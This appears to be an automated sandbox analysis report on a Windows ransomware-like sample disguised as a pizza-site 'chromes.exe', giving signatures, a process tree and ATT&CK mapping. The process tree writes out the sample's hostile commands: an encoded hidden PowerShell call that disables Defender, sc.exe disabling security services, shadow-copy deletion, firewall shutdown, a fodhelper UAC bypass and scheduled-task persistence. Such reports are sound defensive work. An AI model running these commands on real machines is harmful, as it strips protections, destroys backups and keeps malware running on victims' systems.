Analysis
- max time kernel
38s - max time network
163s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
04/05/2026, 07:45
General
- Target 3brotherspizzacafefarmingdale.com_chromes.exe
- Size 50KB
- Sample260504-jlehtad121
- SHA256 254a1c4a2b17f5945442f8abd22e2ced28f03661a8f66eb835912fb9d3f01954
Score
10/10
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Modifies security service 2 TTPs 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops file in Drivers directory 1 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
- Stops running service(s) 4 TTPs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies registry class 11 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 34 IoCs
- Suspicious use of SendNotifyMessage 32 IoCs
- Suspicious use of WriteProcessMemory 34 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe"C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe"1⤵
- Modifies security service
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://3brotherspizzacafefarmingdale.com2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa3e32c728,0x7ffa3e32c734,0x7ffa3e32c7403⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2108,i,10618386250430827580,5381697641297267530,524288 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2164 /prefetch:33⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,4315832929127823542,17867257195134423157,262144 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1992 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,1528865765275968986,448113995232276212,524288 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2440 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,13067654318433605295,7098596868322512319,2097152 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3164 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,1634268932944756320,11152322914671512607,2097152 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3184 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4408,i,2988091779556841907,13136080342299775197,2097152 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4416 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5428,i,10798867559092367557,16467128318323923956,2097152 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5448 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3928,i,7842566327534476995,16154860526565855263,524288 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5660 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3468,i,3258073498255979560,10325633743984010732,524288 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3476 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3464,i,9790678985480851,5237666266198475610,524288 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3200 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3480,i,1453639116357860130,16736962486697042435,524288 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3436 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3088,i,14419227654340935415,6249010109146464364,262144 --field-trial-handle=2100,i,5269180519503015238,10401651244221237209,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4536 /prefetch:83⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe"C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe"3⤵
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵
-
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
-
C:\Windows\system32\whoami.exewhoami3⤵
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
-
C:\Windows\system32\net.exenet user3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
-
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exeC:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exeC:\Users\Admin\AppData\Local\Temp\3brotherspizzacafefarmingdale.com_chromes.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
2Disable or Modify System Firewall
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
invoice_1.pdf
doc_3.pdf
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
the-real-index
History
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Preferences
Secure Preferences
index.txt
index.txt~RFe597e00.TMP
the-real-index
the-real-index
Web Data
Local State
Local State
Local State
Local State
Local State
3brotherspizzacafefarmingdale.com_chromes.exe.log
__PSScriptPolicyTest_5qhxrkjb.qwx.ps1
createshortcut.vbs
del.bat
makelnk.vbs
DecryptAllFiles.exe
hosts
hosts
memory/284-2384-0x00000128A11E0000-0x00000128A11EC000-memory.dmp
memory/284-2385-0x00000128A2CE0000-0x00000128A2D8D000-memory.dmp
memory/444-0-0x00000000000E0000-0x00000000000F2000-memory.dmp
memory/444-2415-0x000000001AC90000-0x000000001AD3D000-memory.dmp
memory/444-1-0x000000001AE70000-0x000000001AE80000-memory.dmp
memory/444-289-0x000000001AC90000-0x000000001AD3D000-memory.dmp
memory/444-1426-0x000000001AC90000-0x000000001AD3D000-memory.dmp
memory/444-2416-0x00000000023A0000-0x00000000023AC000-memory.dmp
memory/444-434-0x000000001AE70000-0x000000001AE80000-memory.dmp
memory/444-2472-0x000000001AC90000-0x000000001AD3D000-memory.dmp
memory/444-2386-0x000000001AC90000-0x000000001AD3D000-memory.dmp
memory/1312-2478-0x00000145B0440000-0x00000145B04ED000-memory.dmp
memory/1312-2477-0x00000145AE8E0000-0x00000145AE8EC000-memory.dmp
memory/1912-2507-0x000001C962690000-0x000001C96269C000-memory.dmp
memory/1912-327-0x000001C97AD70000-0x000001C97AD92000-memory.dmp
memory/1912-2506-0x000001C9626E0000-0x000001C96278D000-memory.dmp
memory/1912-290-0x000001C9626E0000-0x000001C96278D000-memory.dmp
memory/1912-1437-0x000001C9626E0000-0x000001C96278D000-memory.dmp
memory/1912-291-0x000001C962690000-0x000001C96269C000-memory.dmp
memory/2064-2462-0x000000001AEF0000-0x000000001AF9D000-memory.dmp
memory/2832-2465-0x000001D75B450000-0x000001D75B4FD000-memory.dmp
memory/2832-2412-0x000001D75CEE0000-0x000001D75CEE1000-memory.dmp
memory/3204-80-0x000001FE4D740000-0x000001FE4D7ED000-memory.dmp
memory/4008-214-0x0000000002800000-0x00000000028AD000-memory.dmp
memory/5048-2437-0x000000001ADB0000-0x000000001AE5D000-memory.dmp